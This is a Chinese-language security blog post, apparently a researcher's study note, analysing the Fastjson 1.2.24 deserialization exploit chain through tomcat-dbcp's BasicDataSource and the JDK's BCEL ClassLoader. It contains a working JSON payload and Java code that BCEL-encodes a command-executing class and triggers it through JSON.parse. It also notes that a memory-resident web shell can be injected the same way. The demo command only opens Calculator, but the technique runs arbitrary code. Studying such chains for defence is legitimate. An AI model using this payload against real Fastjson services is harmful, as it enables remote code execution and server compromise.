• Fastjson tomcat-dhcp链


    Fastjson tomcat-dbcp链

    这条链可直接回显,可以解决fastjson在内网的情况,因为很多实战的时候,fastjson的应用部署在内网,只映射一个端口出来,导致前面学习的jdbcRowImpl链的jndi利用不了,而TemplatesImpl链又因为有利用条件,用parseObject()方法时,需要加入Feature.SupportNonPublicField参数,就有了大佬们使用tomcat-dhcp链,而tomcat-dbcp依赖又是数据库依赖比较常见。而tomcat-dbcp是依赖$$BCEL$$的。

    1、前置知识

    1.1、BCEL

    BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。

    BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

    就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bce

    我们来看看我们今天的主角com.sun.org.apache.bcel.internal.util.ClassLoader,在jdk的rt.jar包里面

    image-20220420144312601

    我们来看loadClass这个方法,获取class_name,判断开头是不是$$BCEL$$,是就调用createClass(class_name),然后通过

    classname获取字节码,然后调用defineClass实例化我们的字节码。我们先看看createClass

    protected Class loadClass(String class_name, boolean resolve)
      throws ClassNotFoundException
    {
      Class cl = null;
      ......
        if(cl == null) {
          JavaClass clazz = null;
    
          /* Third try: Special request?
           */
          if(class_name.indexOf("$$BCEL$$") >= 0)
            clazz = createClass(class_name);
          else { // Fourth try: Load classes via repository
            if ((clazz = repository.loadClass(class_name)) != null) {
              clazz = modifyClass(clazz);
            }
            else
              throw new ClassNotFoundException(class_name);
          }
    
          if(clazz != null) {
            byte[] bytes  = clazz.getBytes();
            cl = defineClass(class_name, bytes, 0, bytes.length);
          } else // Fourth try: Use default class loader
            cl = Class.forName(class_name);
        }
    
        if(resolve)
          resolveClass(cl);
      }
    
      classes.put(class_name, cl);
    
      return cl;
    }
    

    createClass这个类就是把$$BCEL$$后面的字段赋值给real_name,然后通过Utility.decode将BCEL解码成字节码,然后解析字节码编程类,返回这个类,所以createClass就是获取class_name的$$BCEL$$的字节码转换成类

      protected JavaClass createClass(String class_name) {
        int    index     = class_name.indexOf("$$BCEL$$");
        String real_name = class_name.substring(index + 8);
    
        JavaClass clazz = null;
        try {
          byte[]      bytes  = Utility.decode(real_name, true);
          ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
    
          clazz = parser.parse();
        } catch(Throwable e) {
          e.printStackTrace();
          return null;
        }
    
        // Adapt the class name to the passed value
        ConstantPool cp = clazz.getConstantPool();
    
        ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                         Constants.CONSTANT_Class);
        ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                         Constants.CONSTANT_Utf8);
        name.setBytes(class_name.replace('.', '/'));
    
        return clazz;
      }
    

    还有有一个点就是com.sun.org.apache.bcel.internal.classfile.Utility该类存储了bcel的加解密方法

     Utility.decode(String real_name, true)
     Utility.encode(byte[] bytes,, true)
    

    最后poc的构造

    我们可以通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块

    2、POC分析

    2.1、依赖

        <dependencies>
            <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.24</version>
            </dependency>
            <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
            <dependency>
                <groupId>org.apache.tomcat</groupId>
                <artifactId>tomcat-dbcp</artifactId>
                <version>9.0.8</version>
            </dependency>
    
        </dependencies>
    

    2.2、poc

    {
        {
            "x":{
                    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                    "driverClassLoader": {
                        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                    },
                    "driverClassName": "$$BCEL$$$l$8b$I$A$..."
            }
        }: "x"
    }
    
    

    编写恶意代码类,并且编译成class文件,既字节码形式

    package com.akkacloud;
    
    import java.io.IOException;
    
    public class Calc {
        public Calc() throws IOException {
            Runtime.getRuntime().exec(" open /System/Applications/Calculator.app ");
        }
    }
    
    

    image-20220420142233371

    package com.akkacloud;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    
    import java.util.Arrays;
    
    class fastjson_dbcp {
        public static void main(String[] argv) throws Exception{
            JavaClass cls = Repository.lookupClass(Calc.class);
            //System.out.println(Arrays.toString(cls.getBytes()));
            String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
            System.out.println(code);
            String poc = "{\n" +
                    "    {\n" +
                    "        \"aaa\": {\n" +
                    "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                    "                \"driverClassLoader\": {\n" +
                    "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                    "                },\n" +
                    "                \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
                    "        }\n" +
                    "    }: \"bbb\"\n" +
                    "}";
            System.out.println(poc);
            JSON.parse(poc);
        }
    }
    
    

    image-20220420143007106

    最后说一句对jdk版本有要求,jdk1.8u251前可以成功

    2.3、利用链

    BasicDataSource.getConnection()
    
    createDataSource() 
    
    createConnectionFactory()
    

    其实看到这个利用链,就知道传入我们的BasicDataSource类,会自动调用getter和setter方法,然后调用getConnection方法。我们在

    getConnection打断点调试一下,可以看到我们在BasicDataSource里存入的恶意代码都已经存入,继续跟createDataSource

    image-20220420154722506

    跟进发现,会判断dataSource是够为空,然后调用createConnectionFactory(就是创建链接工厂方法),继续跟进

    image-20220420154903067

    到了这里就很清楚了,通过class.forName方法,使用我们自定义的classloder(com.sun.org.apache.bcel.internal.util.ClassLoader),获取该类

    image-20220420155157538

    然后实例化该类,造成命令执行。

    image-20220420155621546

    2.4、结束

    旧版本的 tomcat-dbcp 对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource

    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>dbcp</artifactId>
        <version>6.0.53</version>
    </dependency>
    

    Tomcat 8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>9.0.8</version>
    </dependency>
    

    我们可以通过传入内存马的Class字节码,达到回显的目的

    参考

    https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

    https://www.cnblogs.com/nice0e3/p/14949148.html#

  • 相关阅读:
    【C++】反向迭代器--迭代器适配器
    第3次作业练习题(第三章 指令流程与微命令)
    PAT 1122 Hamiltonian Cycle
    linux0.11-内核信号
    Element UI 偶发性图标乱码问题
    Mybatis返回自动递增主键值,通过实体
    创建镜像发布到镜像仓库【不依赖docker环境】
    【Linux基础】权限管理
    【LeetCode与《代码随想录》】哈希表篇:做题笔记与总结-JavaScript版
    逆天工具一键修复图片,视频去码。本地部署超详细!!
  • 原文地址:https://www.cnblogs.com/akka1/p/16170251.html